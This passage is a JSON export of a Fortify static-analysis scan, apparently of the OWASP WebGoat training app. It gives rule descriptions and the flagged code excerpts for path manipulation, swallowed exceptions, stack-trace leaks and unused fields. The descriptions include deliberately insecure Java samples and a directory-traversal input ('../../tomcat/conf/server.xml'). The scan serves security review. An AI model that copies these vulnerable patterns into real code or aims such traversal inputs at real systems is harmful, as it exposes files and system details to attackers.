{"platform":{"name":"Heimdall Tools","release":"1.3.0"},"version":"1.3.0","statistics":{"duration":null},"profiles":[{"name":"Fortify Static Analyzer Scan","version":"19.1.0.2241","title":"Fortify Static Analyzer Scan","maintainer":null,"summary":"Fortify Static Analyzer Scan of UUID: b5e71375-1a97-4708-a07e-9a7e5fedeafe","license":null,"copyright":null,"copyright_email":null,"supports":[],"attributes":[],"depends":[],"groups":[],"status":null,"controls":[{"id":"823FE039-A7FE-4AAD-B976-9EC53FFE4A59","desc":"<Content>Path manipulation errors occur when the following two conditions are met:\n\n1. An attacker is able to specify a path used in an operation on the file system.\n\n2. By specifying the resource, the attacker gains a capability that would not otherwise be permitted.\n\nFor example, the program may give the attacker the ability to overwrite the specified file or run with a configuration controlled by the attacker.\n<Paragraph>\nIn this case, the attacker may specify the value that enters the program at <Replace key=\"SourceFunction\" link=\"SourceLocation\"/> in <Replace key=\"SourceLocation.file\"/> at line <Replace key=\"SourceLocation.line\"/>, and this value is used to access a file system resource at <Replace key=\"SinkFunction\" link=\"SinkLocation\"/> in <Replace key=\"SinkLocation.file\"/> at line <Replace key=\"SinkLocation.line\"/>.\n</Paragraph>\n<IfDef var=\"ConditionalDescriptions\">\n <Paragraph>\n  <ConditionalText condition=\"taint:number\">\nEven though the data in this case is a number, it is unvalidated and thus still considered malicious, hence the vulnerability is still reported but with reduced priority values.\n  </ConditionalText>\n </Paragraph>\n</IfDef>\n\n<b>Example 1:</b> The following code uses input from an HTTP request to create a file name. The programmer has not considered the possibility that an attacker could provide a file name such as \"<code>../../tomcat/conf/server.xml</code>\", which causes the application to delete one of its own configuration files.\n\n<pre>\nString rName = request.getParameter(\"reportName\");\nFile rFile = new File(\"/usr/local/apfr/reports/\" + rName);\n...\nrFile.delete();\n</pre>\n\n<b>Example 2:</b> The following code uses input from a configuration file to determine which file to open and echo back to the user. If the program runs with adequate privileges and malicious users can change the configuration file, they can use the program to read any file on the system that ends with the extension <code>.txt</code>.\n\n<pre>\nfis = new FileInputStream(cfg.getProperty(\"sub\")+\".txt\");\namt = fis.read(arr);\nout.println(arr);\n</pre>\n\nSome think that in the mobile world, classic vulnerabilities, such as path manipulation, do not make sense -- why would the user attack themself? However, keep in mind that the essence of mobile platforms is applications that are downloaded from various sources and run alongside each other on the same device. The likelihood of running a piece of malware next to a banking application is high, which necessitates expanding the attack surface of mobile applications to include inter-process communication.\n\n<b>Example 3:</b> The following code adapts <code>Example 1</code> to the Android platform.\n\n<pre>\n...\n        String rName = this.getIntent().getExtras().getString(\"reportName\");\n        File rFile = getBaseContext().getFileStreamPath(rName);\n...\n        rFile.delete();\n...\n</pre></Content>","title":"<Content><Paragraph>Attackers are able to control the file system path argument to <Replace key=\"PrimaryCall.name\"/> at <Replace key=\"PrimaryLocation.file\"/> line <Replace key=\"PrimaryLocation.line\"/>, which allows them to access or modify otherwise protected files.<AltParagraph>Allowing user input to control paths used in file system operations could enable an attacker to access or modify otherwise protected system resources.</AltParagraph></Paragraph></Content>","impact":0.6,"descriptions":[],"refs":[],"source_location":{},"code":null,"results":[{"status":"failed","code_desc":"\nPath: webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/challenge7/MD5.java\nStartLine: 52, EndLine: 58\nCode:\n} else {\n            for (String element : args) {\n                try {\n                    System.out.println(MD5.getHashString(new File(element)) + \" \" + element);\n                } catch (IOException x) {\n                    System.err.println(x.getMessage());\n                }","run_time":null,"start_time":"2019-10-02 23:00:39"}],"tags":{"nist":["SI-10","Rev_4"]}},{"id":"8843F319-8A22-4101-A378-C2B2F2597988","desc":"<Content>Just about every serious attack on a software system begins with the violation of a programmer's assumptions. After the attack, the programmer's assumptions seem flimsy and poorly founded, but before an attack many programmers would defend their assumptions well past the end of their lunch break.\n\nTwo dubious assumptions that are easy to spot in code are \"this method call can never fail\" and \"it doesn't matter if this call fails\". When a programmer ignores an exception, they implicitly state that they are operating under one of these assumptions.\n\n<b>Example 1:</b> The following code excerpt ignores a rarely-thrown exception from <code>doExchange()</code>.\n\n<pre>\ntry {\n  doExchange();\n}\ncatch (RareException e) {\n  // this can never happen\n}\n</pre>\n\nIf a <code>RareException</code> were to ever be thrown, the program would continue to execute as though nothing unusual had occurred. The program records no evidence indicating the special situation, potentially frustrating any later attempt to explain the program's behavior.</Content>","title":"<Content><Paragraph>The method <Replace key=\"EnclosingFunction.name\"/> in <Replace key=\"PrimaryLocation.file\"/> ignores an exception on line <Replace key=\"PrimaryLocation.line\"/>, which could cause the program to overlook unexpected states and conditions.<AltParagraph>Ignoring an exception can cause the program to overlook unexpected states and conditions.</AltParagraph></Paragraph></Content>","impact":0.4,"descriptions":[],"refs":[],"source_location":{},"code":null,"results":[{"status":"failed","code_desc":"\nPath: webgoat-lessons/password-reset/src/main/java/org/owasp/webgoat/password_reset/ResetLinkAssignmentForgotPassword.java\nStartLine: 91, EndLine: 98\nCode:\nHttpHeaders httpHeaders = new HttpHeaders();\n            HttpEntity httpEntity = new HttpEntity(httpHeaders);\n            new RestTemplate().exchange(String.format(\"http://%s/PasswordReset/reset/reset-password/%s\", host, resetLink), HttpMethod.GET, httpEntity, Void.class);\n        } catch (Exception e) {\n            //don't care\n        }\n    }\n}","run_time":null,"start_time":"2019-10-02 23:00:39"}],"tags":{"nist":["SI-11","Rev_4"]}},{"id":"FE4EADF2-7055-4C36-863E-5A01C4A0E1A4","desc":"<Content>An information leak occurs when system data or debugging information leaves the program through an output stream or logging function.\n\n<Paragraph>\nIn this case, <Replace key=\"PrimaryCall.name\" link=\"PrimaryLocation\"/> is called in <Replace key=\"PrimaryLocation.file\"/> at line <Replace key=\"PrimaryLocation.line\"/>.\n</Paragraph>\n\n<b>Example 1:</b> The following code writes an exception to the standard error stream:\n\n<pre>\ntry {\n    ...\n} catch (Exception e) {\n    e.printStackTrace();\n}\n</pre>\n\nDepending upon the system configuration, this information can be dumped to a console, written to a log file, or exposed to a remote user. For example, with scripting mechanisms it is trivial to redirect output information from &quot;Standard error&quot; or &quot;Standard output&quot; into a file or another program. Alternatively the system that the program runs on could have a remote logging mechanism such as a &quot;syslog&quot; server that will send the logs to a remote device. During development you will have no way of knowing where this information may end up being displayed.\n\nIn some cases the error message tells the attacker precisely what sort of an attack the system is vulnerable to. For example, a database error message can reveal that the application is vulnerable to a SQL injection attack. Other error messages can reveal more oblique clues about the system. In <code>Example 1</code>, the leaked information could imply information about the type of operating system, the applications installed on the system, and the amount of care that the administrators have put into configuring the program.\n\nHere is another scenario, specific to the mobile world. Most mobile devices now implement a Near-Field Communication (NFC) protocol for quickly sharing information between devices using radio communication. It works by bringing devices to close proximity or simply having them touch each other. Even though the communication range of NFC is limited to just a few centimeters, eavesdropping, data modification and various other types of attacks are possible, since NFC alone does not ensure secure communication.\n\n<b>Example 2:</b> The Android platform provides support for NFC. The following code creates a message that gets pushed to the other device within the range.\n<pre>\n...\npublic static final String TAG = \"NfcActivity\";\nprivate static final String DATA_SPLITTER = \"__:DATA:__\";\nprivate static final String MIME_TYPE = \"application/my.applications.mimetype\";\n...\npublic NdefMessage createNdefMessage(NfcEvent event) {\n    TelephonyManager tm = (TelephonyManager)Context.getSystemService(Context.TELEPHONY_SERVICE);\n    String VERSION = tm.getDeviceSoftwareVersion();\n    String text = TAG + DATA_SPLITTER + VERSION;\n    NdefRecord record = new NdefRecord(NdefRecord.TNF_MIME_MEDIA,\n            MIME_TYPE.getBytes(), new byte[0], text.getBytes());\n    NdefRecord[] records = { record };\n    NdefMessage msg = new NdefMessage(records);\n    return msg;\n}\n...\n</pre>\n\nNFC Data Exchange Format (NDEF) message contains typed data, a URI, or a custom application payload. If the message contains information about the application, such as its name, MIME type, or device software version, this information could be leaked to an eavesdropper. In <code>Example 2</code>, Fortify Static Code Analyzer reports a System Information Leak vulnerability on the return statement.</Content>","title":"<Content><Paragraph>The function <Replace key=\"EnclosingFunction.name\"/> in <Replace key=\"PrimaryLocation.file\"/> might reveal system data or debugging information by calling <Replace key=\"PrimaryCall.name\"/> on line <Replace key=\"PrimaryLocation.line\"/>. The information revealed by <Replace key=\"PrimaryCall.name\"/> could help an adversary form a plan of attack.<AltParagraph>Revealing system data or debugging information helps an adversary learn about the system and form a plan of attack.</AltParagraph></Paragraph></Content>","impact":0.6,"descriptions":[],"refs":[],"source_location":{},"code":null,"results":[{"status":"failed","code_desc":"\nPath: webgoat-lessons/missing-function-ac/src/main/java/org/owasp/webgoat/missing_ac/Users.java\nStartLine: 111, EndLine: 117\nCode:\nHashMap<String,String> errMap = new HashMap() {{\n                put(\"err\",e.getMessage() + \"::\" + e.getCause());\n            }};\n            e.printStackTrace();\n            return new HashMap<Integer,HashMap>() {{\n                put(0,errMap);\n            }};","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/missing-function-ac/src/main/java/org/owasp/webgoat/missing_ac/Users.java\nStartLine: 90, EndLine: 96\nCode:\nHashMap<String,String> errMap = new HashMap() {{\n                    put(\"err\",e.getMessage() + \"::\" + e.getCause());\n                }};\n                e.printStackTrace();\n                return new HashMap<Integer,HashMap>() {{\n                    put(0,errMap);\n                }};","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/missing-function-ac/src/main/java/org/owasp/webgoat/missing_ac/Users.java\nStartLine: 86, EndLine: 92\nCode:\nput(0,errMap);\n                }};\n            } catch (Exception e) {\n                e.printStackTrace();\n                HashMap<String,String> errMap = new HashMap() {{\n                    put(\"err\",e.getMessage() + \"::\" + e.getCause());\n                }};","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/missing-function-ac/src/main/java/org/owasp/webgoat/missing_ac/Users.java\nStartLine: 107, EndLine: 113\nCode:\n}\n\n        } catch (Exception e) {\n            e.printStackTrace();\n            HashMap<String,String> errMap = new HashMap() {{\n                put(\"err\",e.getMessage() + \"::\" + e.getCause());\n            }};","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/mitigation/SqlInjectionLesson10b.java\nStartLine: 102, EndLine: 108\nCode:\ntry{\n            javaFileObject = new JavaObjectFromString(\"TestClass.java\", javaFileContents.toString());\n        }catch(Exception exception){\n            exception.printStackTrace();\n        }\n        return javaFileObject;\n    }","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/insecure-deserialization/src/main/java/org/dummy/insecure/framework/VulnerableTaskHolder.java\nStartLine: 61, EndLine: 67\nCode:\nSystem.out.println(line);\n            }\n        } catch (IOException e) {\n            e.printStackTrace();\n        }\n\t\t}","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/ssrf/src/main/java/org/owasp/webgoat/ssrf/SSRFTask1.java\nStartLine: 73, EndLine: 79\nCode:\n.build());\n            }\n        } catch (Exception e) {\n            e.printStackTrace();\n            return trackProgress(failed()\n                    .output(e.getMessage())\n                    .build());","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/missing-function-ac/src/main/java/org/owasp/webgoat/missing_ac/MissingFunctionACUsers.java\nStartLine: 85, EndLine: 91\nCode:\nreturn userService.loadUserByUsername(newUser.getUsername());\n        } catch (Exception ex) {\n            System.out.println(\"Error creating new User\" + ex.getMessage());\n            ex.printStackTrace();\n            //TODO: implement error handling ...\n        } finally {\n            // no streams or other resources opened ... nothing to do, right?","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-container/src/main/java/org/owasp/webgoat/session/DatabaseUtilities.java\nStartLine: 114, EndLine: 120\nCode:\nreturn DriverManager.getConnection(url, userPrefix + \"_\" + user, password);\n\t\t} catch (ClassNotFoundException cnfe)\n\t\t{\n\t\t\tcnfe.printStackTrace();\n\t\t\tthrow new SQLException(\"Couldn't load the database driver: \" + cnfe.getLocalizedMessage());\n\t\t}\n\t}","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-container/src/main/java/org/owasp/webgoat/LessonTemplateResolver.java\nStartLine: 71, EndLine: 77\nCode:\ntry {\n                resource = ByteStreams.toByteArray(resourceLoader.getResource(\"classpath:/html/\" + templateName + \".html\").getInputStream());\n            } catch (IOException e) {\n                e.printStackTrace();\n            }\n            resources.put(resourceName, resource);\n        }","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/client-side-filtering/src/main/java/org/owasp/webgoat/client_side_filtering/Salaries.java\nStartLine: 89, EndLine: 95\nCode:\ntry {\n            nodes = (NodeList) xPath.evaluate(expression, inputSource, XPathConstants.NODESET);\n        } catch (XPathExpressionException e) {\n            e.printStackTrace();\n        }\n        int COLUMNS = 5;\n        List json = Lists.newArrayList();","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/missing-function-ac/src/main/java/org/owasp/webgoat/missing_ac/Users.java\nStartLine: 102, EndLine: 108\nCode:\nconnection.close();\n                    }\n                } catch (SQLException sqle) {\n                    sqle.printStackTrace();\n                }\n            }","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/missing-function-ac/src/main/java/org/owasp/webgoat/missing_ac/Users.java\nStartLine: 77, EndLine: 83\nCode:\n}\n            } catch (SQLException sqle) {\n                sqle.printStackTrace();\n                HashMap<String,String> errMap = new HashMap() {{\n                    put(\"err\",sqle.getErrorCode() + \"::\" + sqle.getMessage());\n                }};","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/advanced/SqlInjectionLesson6a.java\nStartLine: 84, EndLine: 90\nCode:\nreturn trackProgress(failed().output(sqle.getMessage() + \"<br> Your query was: \" + query).build());\n            }\n        } catch (Exception e) {\n            e.printStackTrace();\n            return trackProgress(failed().output(this.getClass().getName() + \" : \" + e.getMessage() + \"<br> Your query was: \" + query).build());\n        }\n    }","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/advanced/SqlInjectionLesson6b.java\nStartLine: 69, EndLine: 75\nCode:\n// do nothing\n            }\n        } catch (Exception e) {\n            e.printStackTrace();\n            // do nothing\n        }\n        return (password);","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/jwt/JWTSecretKeyEndpoint.java\nStartLine: 93, EndLine: 99\nCode:\n}\n            }\n        } catch (Exception e) {\n        \te.printStackTrace();\n            return trackProgress(failed().feedback(\"jwt-invalid-token\").output(e.getMessage()).build());\n        }\n    }","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-container/src/main/java/org/owasp/webgoat/session/DatabaseUtilities.java\nStartLine: 96, EndLine: 102\nCode:\nif (connection.getMetaData().getDatabaseProductName().toLowerCase().contains(\"oracle\")) connection.close();\n\t\t} catch (SQLException sqle)\n\t\t{\n\t\t\tsqle.printStackTrace();\n\t\t}\n\t}","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/advanced/SqlInjectionLesson6b.java\nStartLine: 65, EndLine: 71\nCode:\npassword = results.getString(\"password\");\n                }\n            } catch (SQLException sqle) {\n                sqle.printStackTrace();\n                // do nothing\n            }\n        } catch (Exception e) {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/ssrf/src/main/java/org/owasp/webgoat/ssrf/SSRFTask2.java\nStartLine: 76, EndLine: 82\nCode:\n.build());\n            }\n        } catch (Exception e) {\n            e.printStackTrace();\n            return trackProgress(failed()\n                    .output(e.getMessage())\n                    .build());","run_time":null,"start_time":"2019-10-02 23:00:39"}],"tags":{"nist":["AC-4","Rev_4"]}},{"id":"3E7BCE41-4A79-49FF-8B8B-3F55F1F2DC5E","desc":"<Content>This field is never accessed, except perhaps by dead code. Dead code is defined as code that is never directly or indirectly executed by a public method. It is likely that the field is simply vestigial, but it is also possible that the unused field points out a bug.\n\n<b>Example 1:</b> The field named <code>glue</code> is not used in the following class. The author of the class has accidentally put quotes around the field name, transforming it into a string constant.\n\n<pre>\npublic class Dead {\n\n  String glue;\n\n  public String getGlue() {\n    return \"glue\";\n  }\n\n}\n</pre>\n\n<b>Example 2:</b> The field named <code>glue</code> is used in the following class, but only from a method that is never called.\n\n<pre>\npublic class Dead {\n\n  String glue;\n\n  private String getGlue() {\n    return glue;\n  }\n\n}\n</pre></Content>","title":"<Content><Paragraph>The field <Replace key=\"$f.name$\"/> is never used.<AltParagraph>This field is never used.</AltParagraph></Paragraph></Content>","impact":0.4,"descriptions":[],"refs":[],"source_location":{},"code":null,"results":[{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/mitigation/Servers.java\nStartLine: 52, EndLine: 58\nCode:\nprivate String id;\n        private String hostname;\n        private String ip;\n        private String mac;\n        private String status;\n        private String description;\n    }","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webwolf/src/main/java/org/owasp/webwolf/user/UserForm.java\nStartLine: 44, EndLine: 50\nCode:\nprivate String password;\n    @NotNull\n    @Size(min=6, max=10)\n    private String matchingPassword;\n    @NotNull\n    private String agree;\n}","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-container/src/main/java/org/owasp/webgoat/lessons/LessonInfoModel.java\nStartLine: 15, EndLine: 21\nCode:\nprivate String lessonTitle;\n    private boolean hasSource;\n    private boolean hasSolution;\n    private boolean hasPlan;\n\n}","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/webwolf-introduction/src/main/java/org/owasp/webgoat/webwolf_introduction/Email.java\nStartLine: 10, EndLine: 16\nCode:\n@Data\npublic class Email implements Serializable {\n\n    private String contents;\n    private String sender;\n    private String title;\n    private String recipient;","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-container/src/main/java/org/owasp/webgoat/users/UserSession.java\nStartLine: 15, EndLine: 21\nCode:\n@NoArgsConstructor(access = AccessLevel.PROTECTED)\npublic class UserSession {\n\n    private WebGoatUser webGoatUser;\n    @Id\n    private String sessionId;\n}","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-container/src/main/java/org/owasp/webgoat/lessons/Assignment.java\nStartLine: 42, EndLine: 48\nCode:\n@Id\n    @GeneratedValue(strategy = GenerationType.AUTO)\n    private Long id;\n    private String name;\n    private String path;","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-container/src/main/java/org/owasp/webgoat/users/RegistrationController.java\nStartLine: 24, EndLine: 30\nCode:\nprivate UserValidator userValidator;\n    private UserService userService;\n    private AuthenticationManager authenticationManager;\n\n    @GetMapping(\"/registration\")\n    public String showForm(UserForm userForm) {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webwolf/src/main/java/org/owasp/webwolf/mailbox/Email.java\nStartLine: 52, EndLine: 58\nCode:\n@Column(length = 1024)\n    private String contents;\n    private String sender;\n    private String title;\n    private String recipient;\n\n    public String getSummary() {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/webwolf-introduction/src/main/java/org/owasp/webgoat/webwolf_introduction/Email.java\nStartLine: 12, EndLine: 17\nCode:\nprivate String contents;\n    private String sender;\n    private String title;\n    private String recipient;\n}","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/mitigation/Servers.java\nStartLine: 53, EndLine: 59\nCode:\nprivate String hostname;\n        private String ip;\n        private String mac;\n        private String status;\n        private String description;\n    }","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/password-reset/src/main/java/org/owasp/webgoat/password_reset/PasswordResetEmail.java\nStartLine: 36, EndLine: 40\nCode:\nprivate String contents;\n    private String sender;\n    private String title;\n    private String recipient;\n}","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-container/src/main/java/org/owasp/webgoat/users/Scoreboard.java\nStartLine: 29, EndLine: 35\nCode:\n@AllArgsConstructor\n    @Getter\n    private class Ranking {\n        private String username;\n        private List<String> flagsCaptured;\n    }","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/Flag.java\nStartLine: 63, EndLine: 69\nCode:\n@AllArgsConstructor\n    private class FlagPosted {\n        @Getter\n        private boolean lessonCompleted;\n    }\n\n    @PostConstruct","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-container/src/main/java/org/owasp/webgoat/service/ReportCardService.java\nStartLine: 101, EndLine: 106\nCode:\nprivate class LessonStatistics {\n        private String name;\n        private boolean solved;\n        private int numberOfAttempts;\n    }\n}","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-container/src/main/java/org/owasp/webgoat/lessons/Hint.java\nStartLine: 37, EndLine: 42\nCode:\n@Value\npublic class Hint {\n\n    private String hint;\n    private String assignmentPath;\n}","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/webwolf-introduction/src/main/java/org/owasp/webgoat/webwolf_introduction/Email.java\nStartLine: 13, EndLine: 17\nCode:\nprivate String contents;\n    private String sender;\n    private String title;\n    private String recipient;\n}","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/mitigation/Servers.java\nStartLine: 50, EndLine: 56\nCode:\nprivate class Server {\n\n        private String id;\n        private String hostname;\n        private String ip;\n        private String mac;\n        private String status;","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webwolf/src/main/java/org/owasp/webwolf/mailbox/Email.java\nStartLine: 46, EndLine: 52\nCode:\n@Id\n    @GeneratedValue(strategy = GenerationType.IDENTITY)\n    private Long id;\n    @JsonIgnore\n    private LocalDateTime time = LocalDateTime.now();\n    @Column(length = 1024)","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-container/src/main/java/org/owasp/webgoat/service/LessonProgressService.java\nStartLine: 127, EndLine: 133\nCode:\n//so creating intermediate object is the easiest solution\n    private static class LessonOverview {\n\n        private Assignment assignment;\n        private Boolean solved;\n\n    }","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/password-reset/src/main/java/org/owasp/webgoat/password_reset/resetlink/PasswordChangeForm.java\nStartLine: 16, EndLine: 22\nCode:\n@NotNull\n    @Size(min=6, max=10)\n    private String password;\n    private String resetLink;\n\n}","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/cross-site-scripting/src/main/java/org/owasp/webgoat/xss/Comment.java\nStartLine: 17, EndLine: 23\nCode:\n@NoArgsConstructor\n@XmlRootElement\npublic class Comment {\n    private String user;\n    private String dateTime;\n    private String text;\n}","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/xxe/src/main/java/org/owasp/webgoat/xxe/ContentTypeAssignment.java\nStartLine: 42, EndLine: 48\nCode:\nprivate final static String[] DEFAULT_WINDOWS_DIRECTORIES = {\"Windows\", \"Program Files (x86)\", \"Program Files\"};\n\n    @Value(\"${webgoat.server.directory}\")\n    private String webGoatHomeDirectory;\n    @Autowired\n    private WebSession webSession;\n    @Autowired","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webwolf/src/main/java/org/owasp/webwolf/user/UserForm.java\nStartLine: 46, EndLine: 50\nCode:\n@Size(min=6, max=10)\n    private String matchingPassword;\n    @NotNull\n    private String agree;\n}","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/mitigation/Servers.java\nStartLine: 49, EndLine: 55\nCode:\n@Getter\n    private class Server {\n\n        private String id;\n        private String hostname;\n        private String ip;\n        private String mac;","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/password-reset/src/main/java/org/owasp/webgoat/password_reset/PasswordResetEmail.java\nStartLine: 34, EndLine: 40\nCode:\nprivate LocalDateTime time;\n    private String contents;\n    private String sender;\n    private String title;\n    private String recipient;\n}","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/client-side-filtering/src/main/java/org/owasp/webgoat/client_side_filtering/ShopEndpoint.java\nStartLine: 58, EndLine: 64\nCode:\n@AllArgsConstructor\n    @Getter\n    private class CheckoutCode {\n        private String code;\n        private int discount;\n    }","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-container/src/main/java/org/owasp/webgoat/service/LessonProgressService.java\nStartLine: 128, EndLine: 134\nCode:\nprivate static class LessonOverview {\n\n        private Assignment assignment;\n        private Boolean solved;\n\n    }\n}","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-container/src/main/java/org/owasp/webgoat/users/UserForm.java\nStartLine: 18, EndLine: 24\nCode:\n@NotNull\n    @Size(min=6, max=40)\n    @Pattern(regexp = \"[a-z0-9-]*\", message = \"can only contain lowercase letters, digits, and -\")\n    private String username;\n    @NotNull\n    @Size(min=6, max=10)\n    private String password;","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-container/src/test/java/org/owasp/webgoat/service/LabelServiceTest.java\nStartLine: 53, EndLine: 59\nCode:\n@Autowired\n    public MockMvc mockMvc;\n    @MockBean\n    private Course course;\n    @MockBean\n    private UserService userService;","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/client-side-filtering/src/main/java/org/owasp/webgoat/client_side_filtering/ShopEndpoint.java\nStartLine: 59, EndLine: 65\nCode:\n@Getter\n    private class CheckoutCode {\n        private String code;\n        private int discount;\n    }\n\n    private CheckoutCodes checkoutCodes;","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webwolf/src/main/java/org/owasp/webwolf/mailbox/Email.java\nStartLine: 53, EndLine: 59\nCode:\nprivate String contents;\n    private String sender;\n    private String title;\n    private String recipient;\n\n    public String getSummary() {\n        return \"-\" + this.contents.substring(0, Math.min(50, contents.length()));","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-container/src/main/java/org/owasp/webgoat/lessons/LessonInfoModel.java\nStartLine: 13, EndLine: 19\nCode:\n@AllArgsConstructor\npublic class LessonInfoModel {\n\n    private String lessonTitle;\n    private boolean hasSource;\n    private boolean hasSolution;\n    private boolean hasPlan;","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webwolf/src/main/java/org/owasp/webwolf/user/RegistrationController.java\nStartLine: 46, EndLine: 52\nCode:\nprivate UserValidator userValidator;\n    private UserService userService;\n    private AuthenticationManager authenticationManager;\n\n    @GetMapping(\"/registration\")\n    public String showForm(UserForm userForm) {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/Email.java\nStartLine: 36, EndLine: 42\nCode:\n@Data\npublic class Email implements Serializable {\n\n    private LocalDateTime time;\n    private String contents;\n    private String sender;\n    private String title;","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/cross-site-scripting/src/main/java/org/owasp/webgoat/xss/Comment.java\nStartLine: 19, EndLine: 24\nCode:\npublic class Comment {\n    private String user;\n    private String dateTime;\n    private String text;\n}","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-container/src/main/java/org/owasp/webgoat/users/UserForm.java\nStartLine: 26, EndLine: 30\nCode:\n@Size(min=6, max=10)\n    private String matchingPassword;\n    @NotNull\n    private String agree;\n}","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/xxe/src/main/java/org/owasp/webgoat/xxe/Comment.java\nStartLine: 39, EndLine: 45\nCode:\n@NoArgsConstructor\n@XmlRootElement\npublic class Comment {\n    private String user;\n    private String dateTime;\n    private String text;\n}","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/mitigation/SqlInjectionLesson10a.java\nStartLine: 38, EndLine: 44\nCode:\npublic class SqlInjectionLesson10a extends AssignmentEndpoint {\n\n    @Autowired\n    private WebSession webSession;\n    private String[] results = {\"getConnection\", \"PreparedStatement\", 